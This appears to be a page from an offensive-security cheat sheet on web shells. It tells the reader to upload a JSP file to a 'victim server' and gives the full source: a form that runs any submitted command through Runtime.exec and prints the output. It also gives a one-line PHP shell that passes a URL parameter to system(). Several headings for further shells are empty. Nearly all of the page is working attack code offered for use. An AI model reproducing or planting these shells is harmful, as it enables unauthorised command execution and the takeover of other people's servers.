Web Shells

JSP

  1. Save the source code below as cmd.jsp and upload to the victim server.

  2. Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>p

Other JSP Shells:

  1. JSP Reverse+Web Shell:

  1. JSP Web Shells Mix:

PHP

Classic payload to execute commands:

<?php system($_GET['cmd']); ?>

A really simple and tiny PHP Web shell for executing unix commands from web page:

A Simple PHP Web Shell used for Remote Code Execution:

A very simple but functional PHP webshell:

PreviousReverse/Bind Shells

Last updated